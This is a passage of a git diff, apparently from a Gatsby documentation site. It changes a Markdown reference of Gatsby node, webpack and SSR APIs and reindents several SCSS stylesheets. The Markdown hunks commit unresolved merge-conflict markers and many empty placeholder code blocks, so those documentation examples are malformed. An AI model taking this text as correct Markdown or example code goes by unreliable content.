 exports.onCreateDevServer = ({ app }) => {
     app.get('/hello', function (req, res) {
         res.send('hello world');
@@ -11503,6 +12364,10 @@ The [Creating a Source Plugin](https://www.gatsbyjs.com/docs/how-to/plugins-and-
 #### Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 exports.onCreateNode = ({ node, actions }) => {
     const { createNode, createNodeField } = actions;
 
@@ -11538,6 +12403,7 @@ See also the documentation for [`setWebpackConfig`](https://www.gatsbyjs.com/doc
 
 #### Parameters
 
+<<<<<<< HEAD
 - #####
 
     destructured object
@@ -11575,10 +12441,53 @@ See also the documentation for [`setWebpackConfig`](https://www.gatsbyjs.com/doc
 - ######
 
           `actions` object
+=======
+-   #####
+
+    destructured object
+
+-   ######
+
+            `stage` string
+
+            The current build stage. One of 'develop', 'develop-html', 'build-javascript', or 'build-html'
+
+-   ######
+
+            `getConfig` function
+
+            Returns the current webpack config
+
+-   ######
+
+            `rules` object
+
+            A set of preconfigured webpack config rules
+
+-   ######
+
+            `loaders` object
+
+            A set of preconfigured webpack config loaders
+
+-   ######
+
+            `plugins` object
+
+            A set of preconfigured webpack config plugins
+
+-   ######
+
+            `actions` object
+>>>>>>> master
 
 #### Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 exports.onCreateWebpackConfig = ({ stage, getConfig, rules, loaders, actions }) => {
     actions.setWebpackConfig({
         module: {
@@ -11605,6 +12514,10 @@ Lifecycle executed in each process (one time per process). Used to store actions
 #### Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 let createJobV2;
 
 exports.onPluginInit = ({ actions }) => {
@@ -11674,6 +12587,7 @@ Run during the bootstrap phase. Plugins can use this to define a schema for thei
 
 #### Parameters
 
+<<<<<<< HEAD
 - #####
 
     destructured object
@@ -11683,10 +12597,25 @@ Run during the bootstrap phase. Plugins can use this to define a schema for thei
           `Joi` Joi
 
           The instance of [Joi](https://joi.dev/) to define the schema
+=======
+-   #####
+
+    destructured object
+
+-   ######
+
+            `Joi` Joi
+
+            The instance of [Joi](https://joi.dev/) to define the schema
+>>>>>>> master
 
 #### Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 exports.pluginOptionsSchema = ({ Joi }) => {
     return Joi.object({
         // Validate that the anonymize option is defined by the user and is a boolean
@@ -11736,6 +12665,7 @@ _Note:_ Import GraphQL types from `gatsby/graphql` and don't add the `graphql` p
 
 Many transformer plugins use this to add fields that take arguments.
 
+<<<<<<< HEAD
 - [`gatsby-transformer-remark`](https://www.gatsbyjs.com/plugins/gatsby-transformer-remark/) adds an "excerpt" field where the user when writing their query can specify how many characters to prune the markdown source to.
 
 - [`gatsby-transformer-sharp`](https://www.gatsbyjs.com/plugins/gatsby-transformer-sharp/) exposes many image transformation options as GraphQL fields.
@@ -11751,10 +12681,31 @@ Many transformer plugins use this to add fields that take arguments.
           `type` object
 
           Object containing `name` and `nodes`
+=======
+-   [`gatsby-transformer-remark`](https://www.gatsbyjs.com/plugins/gatsby-transformer-remark/) adds an "excerpt" field where the user when writing their query can specify how many characters to prune the markdown source to.
+
+-   [`gatsby-transformer-sharp`](https://www.gatsbyjs.com/plugins/gatsby-transformer-sharp/) exposes many image transformation options as GraphQL fields.
+
+#### Parameters
+
+-   #####
+
+    destructured object
+
+-   ######
+
+            `type` object
+
+            Object containing `name` and `nodes`
+>>>>>>> master
 
 #### Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 import { GraphQLString } from 'gatsby/graphql';
 
 exports.setFieldsOnGraphQLNodeType = ({ type }) => {
@@ -11799,6 +12750,10 @@ See also the documentation for [`createNode`](https://www.gatsbyjs.com/docs/acti
 #### Example
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 exports.sourceNodes = ({ actions, createNodeId, createContentDigest }) => {
     const { createNode } = actions;
 
@@ -11849,6 +12804,10 @@ exports.sourceNodes = ({ actions, createNodeId, createContentDigest }) => {
 ## Gatsby-ssr
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 /**
 
  * Implement Gatsby's SSR (Server Side Rendering) APIs in this file.
@@ -11914,7 +12873,11 @@ return <Layout {...props}>{element}</Layout>
 
 }
 
+<<<<<<< HEAD
 `
+=======
+```
+>>>>>>> master
 
 ## [](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-ssr/#usage)Usage
 
@@ -11996,9 +12959,15 @@ Called after every page Gatsby server renders while building HTML so you can rep
 
 exports.onPreRenderHTML = ({ getHeadComponents, replaceHeadComponents }) => {
 
+<<<<<<< HEAD
   const headComponents = getHeadComponents()
 
   headComponents.sort((x, y) => {
+=======
+const headComponents = getHeadComponents()
+
+headComponents.sort((x, y) => {
+>>>>>>> master
 
     if (x.key === 'TypographyStyle') {
 
@@ -12012,9 +12981,15 @@ exports.onPreRenderHTML = ({ getHeadComponents, replaceHeadComponents }) => {
 
     return 0
 
+<<<<<<< HEAD
   })
 
   replaceHeadComponents(headComponents)
+=======
+})
+
+replaceHeadComponents(headComponents)
+>>>>>>> master
 
 }
 
@@ -12104,7 +13079,11 @@ const React = require("react")
 
 const HtmlAttributes = {
 
+<<<<<<< HEAD
   lang: "en"
+=======
+lang: "en"
+>>>>>>> master
 
 }
 
@@ -12289,8 +13268,14 @@ ReactNode
 Wrapped element
 
 #### Example
+<<<<<<< HEAD
 
 ```
+=======
+ 
+```js
+//
+>>>>>>> master
 
 const React = require("react")
 
@@ -12351,8 +13336,14 @@ ReactNode
 Wrapped element
 
 #### Example
+<<<<<<< HEAD
 
 ```
+=======
+ 
+```js
+//
+>>>>>>> master
 
 const React = require("react")
 
@@ -12383,305 +13374,509 @@ exports.wrapRootElement = ({ element }) => {
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
 
 ###
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 ```
diff --git a/src/sass/imports/_animations.scss b/src/sass/imports/_animations.scss
index 77d3da49c7..df5a87c267 100644
--- a/src/sass/imports/_animations.scss
+++ b/src/sass/imports/_animations.scss
@@ -1,18 +1,16 @@
 @-webkit-keyframes fadeIn20 {
-  0% {
-    opacity: 0;
-  }
-
-  100% {
-    opacity: 0.2;
-  }
+    0% {
+        opacity: 0;
+    }
+    100% {
+        opacity: 0.2;
+    }
 }
 @keyframes fadeIn20 {
-  0% {
-    opacity: 0;
-  }
-
-  100% {
-    opacity: 0.2;
-  }
+    0% {
+        opacity: 0;
+    }
+    100% {
+        opacity: 0.2;
+    }
 }
diff --git a/src/sass/imports/_buttons.scss b/src/sass/imports/_buttons.scss
index 10868669fd..c98f57275f 100644
--- a/src/sass/imports/_buttons.scss
+++ b/src/sass/imports/_buttons.scss
@@ -1,72 +1,66 @@
 .button {
-  -ms-flex-align: center;
-  align-items: center;
-  background: $color-primary;
-  border: 0;
-  border-radius: 1.95em;
-  box-shadow: none;
-  box-sizing: border-box;
-  color: #fff;
-  cursor: pointer;
-  display: -ms-inline-flexbox;
-  display: inline-flex;
-  font-size: 1em;
-  font-weight: bold;
-  -ms-flex-pack: center;
-  justify-content: center;
-  letter-spacing: 0.035em;
-  line-height: 1.6;
-  opacity: 1;
-  padding: 1.2em 2.14285em;
-  text-decoration: none;
-  -webkit-transition: 0.3s ease;
-  transition: 0.3s ease;
-  vertical-align: middle;
-  -webkit-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.3),
-  0 0 40px rgba(0, 0, 0, 0.1) inset;
-  -moz-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.3),
-  0 0 40px rgba(0, 0, 0, 0.1) inset;
-  box-shadow: 0 1px 4px rgba(0, 0, 0, 0.3),
-  0 0 40px rgba(0, 0, 0, 0.1) inset;
-
-  &:hover,
-  &:focus,
-  &:active {
+    -ms-flex-align: center;
+    align-items: center;
+    background: $color-primary;
+    border: 0;
+    border-radius: 1.75em;
+    box-shadow: none;
+    box-sizing: border-box;
     color: #fff;
-    opacity: 0.8;
-    outline: 0;
-  }
+    cursor: pointer;
+    display: -ms-inline-flexbox;
+    display: inline-flex;
+    font-size: 0.875em;
+    font-weight: bold;
+    -ms-flex-pack: center;
+    justify-content: center;
+    letter-spacing: 0.035em;
+    line-height: 1.2;
+    opacity: 1;
+    padding: 0.9em 2.14285em;
+    text-decoration: none;
+    -webkit-transition: 0.3s ease;
+    transition: 0.3s ease;
+    vertical-align: middle;
+
+    &:hover,
+    &:focus,
+    &:active {
+        color: #fff;
+        opacity: 0.8;
+        outline: 0;
+    }
 }
 
 .button-secondary {
-  background: 0 !important;
-  box-shadow: inset 0 0 0 3px currentColor;
-  color: $color-primary;
-
-  &:hover,
-  &:focus,
-  &:active {
-    box-shadow: inset 0 0 0 4px currentColor;
+    background: 0 !important;
+    box-shadow: inset 0 0 0 2px currentColor;
     color: $color-primary;
-    opacity: 1;
-  }
+
+    &:hover,
+    &:focus,
+    &:active {
+        box-shadow: inset 0 0 0 3px currentColor;
+        color: $color-primary;
+        opacity: 1;
+    }
 }
 
 .button-icon {
-  background: 0 !important;
-  border: 0;
-  color: black;
-  font-size: 1.2em;
-  font-weight: normal;
-  letter-spacing: normal;
-  padding: 0.25em;
+    background: 0 !important;
+    border: 0;
+    color: inherit;
+    font-size: 1em;
+    font-weight: normal;
+    letter-spacing: normal;
+    padding: 0.25em;
 
-  &:hover,
-  &:focus,
-  &:active {
-    color: $color-primary;
-    opacity: 1;
-  }
+    &:hover,
+    &:focus,
+    &:active {
+        color: $color-primary;
+        opacity: 1;
+    }
 }
 
 #menu-open,
@@ -74,22 +68,22 @@
 .docs-nav .docs-nav-toggle,
 .docs-nav .docs-submenu-toggle,
 .submenu-toggle {
-  background: 0;
-  border: 0;
-  border-radius: 0;
-  box-shadow: none;
-  color: inherit;
-  cursor: pointer;
-  display: block;
-  font-size: inherit;
-  height: 30px;
-  padding: 0;
-  position: relative;
-  width: 30px;
+    background: 0;
+    border: 0;
+    border-radius: 0;
+    box-shadow: none;
+    color: inherit;
+    cursor: pointer;
+    display: block;
+    font-size: inherit;
+    height: 30px;
+    padding: 0;
+    position: relative;
+    width: 30px;
 
-  &:hover,
-  &:focus,
-  &:active {
-    outline: 0;
-  }
+    &:hover,
+    &:focus,
+    &:active {
+        outline: 0;
+    }
 }
diff --git a/src/sass/imports/_docs.scss b/src/sass/imports/_docs.scss
index 662bc7436b..955ded7810 100644
--- a/src/sass/imports/_docs.scss
+++ b/src/sass/imports/_docs.scss
@@ -1,712 +1,354 @@
 .docs-content {
-  padding-top: 2.5em;
+    padding-top: 2.5em;
 }
 
 .post {
-  &.type-docs {
-    margin-bottom: 5.625em;
-    max-width: $container-md;
+    &.type-docs {
+        margin-bottom: 5.625em;
+        max-width: $container-md;
 
-    h1 {
-      font-size: 1.875em;
-    }
-  
-    h2 {
-      font-size: 1.5em;
-    }
-  
-    h3 {
-      font-size: 1.25em;
-    }
-  
-    h4 {
-      font-size: 1.125em;
-    }
-  
-    h5,
-    h6 {
-      font-size: 1em;
-    }
+        h1 {
+            font-size: 1.875em;
+        }
 
-    .hash-link {
-      float: left;
-      font-size: 1.25rem;
-      height: 1em;
-      line-height: 1;
-      margin-left: -1.1em;
-      opacity: 0;
-      text-align: center;
-      text-decoration: none;
-      -webkit-transition: opacity .2s;
-      transition: opacity .2s;
-      width: 1em;
-
-      &:before {
-        content: "\0023";
-        display: inline-block;
-      }
-
-      &:hover,
-      &:focus {
-        color: $color-primary;
-      }
-    }
+        h2 {
+            font-size: 1.5em;
+        }
 
-    h2 {
-      .hash-link {
-        margin-top: 0.22em;
-      }
-    }
+        h3 {
+            font-size: 1.25em;
+        }
 
-    h3 {
-      .hash-link {
-        margin-top: 0.1em;
-      }
-    }
+        h4 {
+            font-size: 1.125em;
+        }
+
+        h5,
+        h6 {
+            font-size: 1em;
+        }
 
-    h2,
-    h3 {
-      &:hover,
-      &:focus {
         .hash-link {
-          opacity: 1;
+            float: left;
+            font-size: 1.25rem;
+            height: 1em;
+            line-height: 1;
+            margin-left: -1.1em;
+            opacity: 0;
+            text-align: center;
+            text-decoration: none;
+            -webkit-transition: opacity 0.2s;
+            transition: opacity 0.2s;
+            width: 1em;
+
+            &:before {
+                content: '\0023';
+                display: inline-block;
+            }
+
+            &:hover,
+            &:focus {
+                color: $color-primary;
+            }
         }
-      }
-    }
 
-    .post-inside {
-      background: #fff;
-      border: 1px solid $gray-300;
-      border-radius: $border-radius;
-      box-shadow: $box-shadow;
-      padding: 2.5em 0;
-    }
+        h2 {
+            .hash-link {
+                margin-top: 0.22em;
+            }
+        }
 
-    .post-title {
-      font-size: 1.875em;
-      margin: 0 0 1.25em;
-      padding: 0 1em;
-    }
+        h3 {
+            .hash-link {
+                margin-top: 0.1em;
+            }
+        }
+
+        h2,
+        h3 {
+            &:hover,
+            &:focus {
+                .hash-link {
+                    opacity: 1;
+                }
+            }
+        }
+
+        .post-inside {
+            background: #fff;
+            border: 1px solid $gray-300;
+            border-radius: $border-radius;
+            box-shadow: $box-shadow;
+            padding: 2.5em 0;
+        }
+
+        .post-title {
+            font-size: 1.875em;
+            margin: 0 0 1.25em;
+            padding: 0 1em;
+        }
 
-    .post-content {
-      padding: 0 1.875em;
+        .post-content {
+            padding: 0 1.875em;
+        }
     }
-  }
 }
 
 #docs-section-items {
-  display: -ms-flexbox;
-  display: flex;
-  -ms-flex-wrap: wrap;
-  flex-wrap: wrap;
-  list-style: none;
-  margin-left: -0.3125em;
-  margin-right: -0.3125em;
-  padding: 0;
-
-  .docs-section-item {
-    -ms-flex: 1 1 240px;
-    flex: 1 1 240px;
-    margin: 0 0.3125em 0.9375em;
-  }
-
-  .docs-item-link {
-    border: 1px solid $gray-300;
-    border-radius: $border-radius-sm;
-    color: $gray-700;
-    display: block;
-    font-weight: bold;
-    padding: 0.9375em;
-    position: relative;
-    text-decoration: none;
-    -webkit-transition: border-color .3s ease, color .3s ease;
-    transition: border-color .3s ease, color .3s ease;
-  
-    &:hover {
-      border-color: $color-primary;
-      color: $color-primary;
+    display: -ms-flexbox;
+    display: flex;
+    -ms-flex-wrap: wrap;
+    flex-wrap: wrap;
+    list-style: none;
+    margin-left: -0.3125em;
+    margin-right: -0.3125em;
+    padding: 0;
+
+    .docs-section-item {
+        -ms-flex: 1 1 240px;
+        flex: 1 1 240px;
+        margin: 0 0.3125em 0.9375em;
+    }
+
+    .docs-item-link {
+        border: 1px solid $gray-300;
+        border-radius: $border-radius-sm;
+        color: $gray-700;
+        display: block;
+        font-weight: bold;
+        padding: 0.9375em;
+        position: relative;
+        text-decoration: none;
+        -webkit-transition: border-color 0.3s ease, color 0.3s ease;
+        transition: border-color 0.3s ease, color 0.3s ease;
+
+        &:hover {
+            border-color: $color-primary;
+            color: $color-primary;
+        }
     }
-  }
 }
 
 .docs-nav {
-  margin-bottom: 1.875em;
+    margin-bottom: 1.875em;
 
-  .docs-nav-toggle {
-    color: $gray-700;
-    font-size: 1.125em;
-    margin: 0;
-    padding-right: 30px;
-    text-align: left;
-    width: 100%;
-  }
-
-  .docs-submenu-toggle {
-    color: $gray-500;
-    position: absolute;
-    right: 0;
-    top: 0;
-  }
+    .docs-nav-toggle {
+        color: $gray-700;
+        font-size: 1.125em;
+        margin: 0;
+        padding-right: 30px;
+        text-align: left;
+        width: 100%;
+    }
+
+    .docs-submenu-toggle {
+        color: $gray-500;
+        position: absolute;
+        right: 0;
+        top: 0;
+    }
 }
 
 #docs-menu {
-  color: $gray-700;
-  font-weight: bold;
-  line-height: 1.5;
-  list-style: none;
-  margin: 0;
-  padding: 0;
-
-  & > .docs-menu-item > a {
-    padding: 0.1875em 0;
-  }
-
-  a {
-    color: inherit;
-    display: block;
-    text-decoration: none;
+    color: $gray-700;
+    font-weight: bold;
+    line-height: 1.5;
+    list-style: none;
+    margin: 0;
+    padding: 0;
 
-    &:hover {
-      color: $color-primary;
+    & > .docs-menu-item > a {
+        padding: 0.1875em 0;
     }
-  }
 
-  .current,
-  .current-parent {
-    color: $color-primary;
-  }
+    a {
+        color: inherit;
+        display: block;
+        text-decoration: none;
+
+        &:hover {
+            color: $color-primary;
+        }
+    }
+
+    .current,
+    .current-parent {
+        color: $color-primary;
+    }
 }
 
 .docs-submenu {
-  border-left: 1px solid $gray-300;
-  color: $gray-600;
-  display: none;
-  font-size: 0.9375em;
-  font-weight: normal;
-  list-style: none;
-  margin-top: 0.625rem;
-  padding-left: 1.25rem;
+    border-left: 1px solid $gray-300;
+    color: $gray-600;
+    display: none;
+    font-size: 0.9375em;
+    font-weight: normal;
+    list-style: none;
+    margin-top: 0.625rem;
+    padding-left: 1.25rem;
 }
 
 .docs-menu-item {
-  color: inherit;
-  margin-bottom: 0.625rem;
-
-  &.has-children {
-    padding-right: 30px;
-    position: relative;
-  
-    &.active {
-      .docs-submenu {
-        display: block;
-      }
-  
-      & > .docs-submenu-toggle {
-        .icon-angle-right {
-          -webkit-transform: rotate(135deg);
-          transform: rotate(135deg);
+    color: inherit;
+    margin-bottom: 0.625rem;
+
+    &.has-children {
+        padding-right: 30px;
+        position: relative;
+
+        &.active {
+            .docs-submenu {
+                display: block;
+            }
+
+            & > .docs-submenu-toggle {
+                .icon-angle-right {
+                    -webkit-transform: rotate(135deg);
+                    transform: rotate(135deg);
+                }
+            }
         }
-      }
     }
-  }
 }
 
 #page-nav {
-  display: none;
-
-  .page-nav-title {
-    font-size: 1em;
-    margin: 0 0 0.625em;
-  }
+    display: none;
 
-  ul {
-    font-size: 0.875rem;
-    line-height: 1.5;
-    list-style: none;
-    padding: 0;
+    .page-nav-title {
+        font-size: 1em;
+        margin: 0 0 0.625em;
+    }
 
     ul {
-      border-left: 1px solid $gray-300;
-      margin-top: 0.625rem;
-      padding-left: 1.25rem;
+        font-size: 0.875rem;
+        line-height: 1.5;
+        list-style: none;
+        padding: 0;
+
+        ul {
+            border-left: 1px solid $gray-300;
+            margin-top: 0.625rem;
+            padding-left: 1.25rem;
+        }
     }
-  }
 
-  li {
-    margin-bottom: 0.625rem;
+    li {
+        margin-bottom: 0.625rem;
 
-    &.active > a {
-      color: $color-primary;
+        &.active > a {
+            color: $color-primary;
+        }
     }
-  }
 
-  a {
-    color: $gray-600;
-    display: block;
-    text-decoration: none;
+    a {
+        color: $gray-600;
+        display: block;
+        text-decoration: none;
 
-    &:hover {
-      color: $color-primary;
+        &:hover {
+            color: $color-primary;
+        }
     }
-  }
 
-  .page-nav-inside {
-    display: none;
-  
-    &.has-links {
-      display: block;
+    .page-nav-inside {
+        display: none;
+
+        &.has-links {
+            display: block;
+        }
     }
-  }
 }
 
 @media only screen and (min-width: 641px) {
-  .post {
-    &.type-docs {
-      .post-title,
-      .post-content {
-        padding-left: 7%;
-        padding-right: 7%;
-      }
+    .post {
+        &.type-docs {
+            .post-title,
+            .post-content {
+                padding-left: 7%;
+                padding-right: 7%;
+            }
+        }
     }
-  }
 }
 
 @media only screen and (min-width: 801px) {
-  .docs-content {
-    display: -ms-flexbox;
-    display: flex;
-    padding-top: 3.75em;
-  }
-
-  .post.type-docs {
-    -ms-flex: 1 1 auto;
-    flex: 1 1 auto;
-    overflow: hidden;
-  }
-
-  .docs-nav,
-  .page-nav {
-    -ms-flex-negative: 0;
-    flex-shrink: 0;
-    margin-bottom: 5.625em;
-
-    .sticky {
-      position: -webkit-sticky;
-      position: sticky;
-      top: 1.875em;
+    .docs-content {
+        display: -ms-flexbox;
+        display: flex;
+        padding-top: 3.75em;
     }
-  }
 
-  .docs-nav {
-    padding-right: 1.5em;
-    width: 12.5em;
-  }
+    .post.type-docs {
+        -ms-flex: 1 1 auto;
+        flex: 1 1 auto;
+        overflow: hidden;
+    }
 
-  #page-nav {
-    padding-left: 1.5em;
-    width: 9.5em;
-  }
+    .docs-nav,
+    .page-nav {
+        -ms-flex-negative: 0;
+        flex-shrink: 0;
+        margin-bottom: 5.625em;
 
-  #docs-nav-toggle {
-    display: none;
-  }
+        .sticky {
+            position: -webkit-sticky;
+            position: sticky;
+            top: 1.875em;
+        }
+    }
+
+    .docs-nav {
+        padding-right: 1.5em;
+        width: 12.5em;
+    }
+
+    #page-nav {
+        padding-left: 1.5em;
+        width: 9.5em;
+    }
+
+    #docs-nav-toggle {
+        display: none;
+    }
 }
 
 @media only screen and (min-width: 1091px) {
-  #page-nav {
-    display: block;
-  }
+    #page-nav {
+        display: block;
+    }
 }
 
 @media only screen and (max-width: 800px) {
-  .docs-nav {
-    background: #fff;
-    border: 1px solid $gray-300;
-    border-radius: $border-radius;
-    box-shadow: $box-shadow;
-    box-sizing: border-box;
-    margin-bottom: 5%;
-    padding: 0.75em 1em;
-  }
-
-  .docs-nav-menu {
-    display: none;
-  }
+    .docs-nav {
+        background: #fff;
+        border: 1px solid $gray-300;
+        border-radius: $border-radius;
+        box-shadow: $box-shadow;
+        box-sizing: border-box;
+        margin-bottom: 5%;
+        padding: 0.75em 1em;
+    }
 
-  .docs-menu--opened {
     .docs-nav-menu {
-      display: block;
+        display: none;
     }
 
-    .docs-nav-toggle {
-      .icon-angle-right {
-        -webkit-transform: rotate(145deg);
-        transform: rotate(145deg);
-      }
+    .docs-menu--opened {
+        .docs-nav-menu {
+            display: block;
+        }
+
+        .docs-nav-toggle {
+            .icon-angle-right {
+                -webkit-transform: rotate(135deg);
+                transform: rotate(135deg);
+            }
+        }
     }
-  }
 
-  #docs-menu {
-    border-top: 1px solid $gray-300;
-    margin-top: 1.25em;
-    padding-top: 1.25em;
-  }
+    #docs-menu {
+        border-top: 1px solid $gray-300;
+        margin-top: 1.25em;
+        padding-top: 1.25em;
+    }
 }
-
-
-
-// .docs-content {
-//   padding-top: 2.5em;
-// }
-// 
-// .post {
-//   &.type-docs {
-//     margin-bottom: 5.625em;
-//     max-width: $container-md;
-// 
-//     h1 {
-//       font-size: 1.875em;
-//     }
-//   
-//     h2 {
-//       font-size: 1.5em;
-//     }
-//   
-//     h3 {
-//       font-size: 1.25em;
-//     }
-//   
-//     h4 {
-//       font-size: 1.125em;
-//     }
-//   
-//     h5,
-//     h6 {
-//       font-size: 1em;
-//     }
-// 
-//     .hash-link {
-//       float: left;
-//       font-size: 1.25rem;
-//       height: 1em;
-//       line-height: 1;
-//       margin-left: -1.1em;
-//       opacity: 0;
-//       text-align: center;
-//       text-decoration: none;
-//       -webkit-transition: opacity .2s;
-//       transition: opacity .2s;
-//       width: 1em;
-// 
-//       &:before {
-//         content: "\0023";
-//         display: inline-block;
-//       }
-// 
-//       &:hover,
-//       &:focus {
-//         color: $color-primary;
-//       }
-//     }
-// 
-//     h2 {
-//       .hash-link {
-//         margin-top: 0.22em;
-//       }
-//     }
-// 
-//     h3 {
-//       .hash-link {
-//         margin-top: 0.1em;
-//       }
-//     }
-// 
-//     h2,
-//     h3 {
-//       &:hover,
-//       &:focus {
-//         .hash-link {
-//           opacity: 1;
-//         }
-//       }
-//     }
-// 
-//     .post-inside {
-//       background: #fff;
-//       border: 1px solid $gray-300;
-//       border-radius: $border-radius;
-//       box-shadow: $box-shadow;
-//       padding: 2.5em 0;
-//     }
-// 
-//     .post-title {
-//       font-size: 1.875em;
-//       margin: 0 0 1.25em;
-//       padding: 0 1em;
-//     }
-// 
-//     .post-content {
-//       padding: 0 1.875em;
-//     }
-//   }
-// }
-// 
-// #docs-section-items {
-//   display: -ms-flexbox;
-//   display: flex;
-//   -ms-flex-wrap: wrap;
-//   flex-wrap: wrap;
-//   list-style: none;
-//   margin-left: -0.3125em;
-//   margin-right: -0.3125em;
-//   padding: 0;
-// 
-//   .docs-section-item {
-//     -ms-flex: 1 1 240px;
-//     flex: 1 1 240px;
-//     margin: 0 0.3125em 0.9375em;
-//   }
-// 
-//   .docs-item-link {
-//     border: 1px solid $gray-300;
-//     border-radius: $border-radius-sm;
-//     color: $gray-700;
-//     display: block;
-//     font-weight: bold;
-//     padding: 0.9375em;
-//     position: relative;
-//     text-decoration: none;
-//     -webkit-transition: border-color .3s ease, color .3s ease;
-//     transition: border-color .3s ease, color .3s ease;
-//   
-//     &:hover {
-//       border-color: $color-primary;
-//       color: $color-primary;
-//     }
-//   }
-// }
-// 
-// .docs-nav {
-//   margin-bottom: 1.875em;
-// 
-//   .docs-nav-toggle {
-//     color: $gray-700;
-//     font-size: 1.125em;
-//     margin: 0;
-//     padding-right: 30px;
-//     text-align: left;
-//     width: 100%;
-//   }
-// 
-//   .docs-submenu-toggle {
-//     color: $gray-500;
-//     position: absolute;
-//     right: 0;
-//     top: 0;
-//   }
-// }
-// 
-// #docs-menu {
-//   color: $gray-700;
-//   font-weight: bold;
-//   line-height: 1.5;
-//   list-style: none;
-//   margin: 0;
-//   padding: 0;
-// 
-//   & > .docs-menu-item > a {
-//     padding: 0.1875em 0;
-//   }
-// 
-//   a {
-//     color: inherit;
-//     display: block;
-//     text-decoration: none;
-// 
-//     &:hover {
-//       color: $color-primary;
-//     }
-//   }
-// 
-//   .current,
-//   .current-parent {
